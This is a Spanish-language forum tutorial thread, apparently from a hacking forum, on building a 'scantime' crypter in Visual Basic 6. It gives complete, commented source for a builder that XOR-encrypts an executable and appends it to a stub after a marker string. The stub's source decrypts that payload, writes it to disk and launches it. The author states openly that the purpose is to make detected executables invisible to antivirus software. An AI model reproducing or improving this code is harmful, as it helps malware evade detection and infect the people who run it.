[Tutorial] programando un cripter en VB6.

Iniciado por fary, 13 Marzo 2016, 09:48 AM

0 Miembros y 1 Visitante están viendo este tema.

fary

¿Que es un cripter?

Es un malware que hace indetectable un ejecutable.  
Básicamente lo que hace es guardar cifrados los datos del ejecutable detectado, haciendo invisible el archivo para los AV. Una vez que se ejecute el archivo cifrado el programa lo descifra y ejecuta.

Tipos de cripters.

Existen dos tipos:

-Scantime: El programa que queremos proteger al descifrarlo se guarda en disco para ejecutarlo.
-Runtime: el programa que estamos protegiendo se ejecuta en memoria sin guardarlo en el disco.

Funcionamiento del cripter.

Esto puede parecer complejo al principio pero es muy simple. Para que un cripter funcione tenemos que tener dos archivos:

-Builder (o Creador): será  el que se encargara de cifrar el archivo que queremos proteger  y unirlo con el stub.
-Stub: es el ejecutable que descifra el archivo y lo ejecuta, osea el que protege el archivo haciendolo indetectable.

Teniendo claro que tenemos que tener esos dos archivos para que nuestro ejecutable funcione vamos a verlo mas despacio....

Paso 1: el builder lee el archivo que queremos proteger y cifra sus datos.
Paso 2: El builder lee el stub y coge sus datos
Paso 3: El builder genera un archivo exe con la siguiente estructura...
   STUB + "MARCA" + DATOS CIFRADOS
la "MARCA" sera lo que nos indique el final del stub y donde empiezan los datos que hay que descifrar y ejecutar.
Paso 4: Una vez que tenemos generado nuestro archivo protegido el stub se ejecuta, se lee a si mismo,  busca la "MARCA" y todos los datos que hay a partir de ahi los descifra y  los ejecuta.

Programando la teoría.

Primero programaremos el builder, el builder es generico, osea sirve para un cripter scantime o runtime, vemos el código comentado...


Código (vb) [Seleccionar]
Option Explicit

Private Sub AbrirArchivo_Click() ' Boton con el que seleccionaremos el archivo ejecutable
   With CD ' Objeto CommonDialog
       .Filter = "Archivos ejecutables |*.exe" ' Le decimos que solo puedan seleccionar archivos ejecutables
       .ShowOpen
       Text1.Text = .FileName ' Guardamos el ejecutable que selecciono en el textbox1
   End With
End Sub

Private Sub Cifrar_Click() ' Boton que cifra y genera el archivo
   Dim Datos As String
   Dim DatosCifrados As String
   Dim Stub As String
   
   Open Text1.Text For Binary As #1 ' Leemos el archivo que queremos cifrar
       Datos = Space(LOF(1))
       Get #1, , Datos
   Close #1
   
   DatosCifrados = CifrarDatos(Datos) ' Ciframos los datos
   
   Open App.Path & "\Stub.exe" For Binary As #2 ' Leemos el stub
       Stub = Space(LOF(2))
       Get #2, , Stub
   Close #2
   
   Open App.Path & "\Generado.exe" For Binary As #3 ' generamos el ejecutable final cifrado:
       Put #3, , Stub ' Escribimos el stub
       Put #3, , "FORO.ELHACKER.NET" ' Escribimos nuestra "MARCA"
       Put #3, , DatosCifrados ' Escribimos los datos cifrados
   Close #3
   
   MsgBox "Archivo cifrado" ' Terminamos de cifrar
End Sub

Public Function CifrarDatos(Datos As String) As String ' Funcion que cifra los datos
   Dim i As Integer
   Dim Buffer As String
   
   For i = 1 To Len(Datos)
       Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
   Next i
   
   CifrarDatos = Buffer
End Function


Ahora el stub (de un cripter scantime).

Código (vb) [Seleccionar]
Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
  Dim Misdatos As String
  Dim cifrados As String
  Dim Descifrados As String
 
  Open App.Path & "\Generado.exe" For Binary As #1 ' Nos leemos a nostros mismos
      Misdatos = Space(LOF(1))
      Get #1, , Misdatos
  Close #1
 
  cifrados = Split(Misdatos, "FORO.ELHACKER.NET")(1) ' Obtenemos lo que hay a partis de la marca
 
  Descifrados = CifrarDatos(cifrados) ' Desciframos el ejecutable que teniamos guardados
 
  Open App.Path & "\Descifrado.exe" For Binary As #1 ' Generamos el ejecutable
      Put #1, , Descifrados  ' NOTA: Normalmente se extrae el archivo en otra ruta, no en la ruta donde esta el ejecutbale cifrado.
  Close #1
 
  Call ShellExecute(Me.hwnd, "Open", App.Path & "\Descifrado.exe", "", "", 1) ' Ejecutamos el ejecutable
End Sub

Public Function CifrarDatos(Datos As String) As String ' Funcion que descifra los datos
   Dim i As Integer
   Dim Buffer As String
   
   For i = 1 To Len(Datos)
       Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
   Next i
   
   CifrarDatos = Buffer
End Function


Bién, ya tenemos programado nuestro primer cripter  ;-)



Ahora para hacerlo RunTime (Que son los que se usan normalmente) lo que tenemos que hacer es crear un RunPE, pero esto no se tratará en este tutorial. Para poder entender su funcionamiento podeis leer sobre el formato PE, aquí un tema con información al respecto:

http://foro.elhacker.net/analisis_y_diseno_de_malware/formato_pe-t446963.0.html

Espero que haya servido como guia a los que no tenian idea de como hacerlo, ahora tengan una base.

saludos.
Un byte a la izquierda.

crack81

Se agradece fary seguro a muchos les ayudara a entender el funcionamiento y no solo a copiar y pegar.
Si C/C++ es el padre de los lenguajes entonces ASM es dios.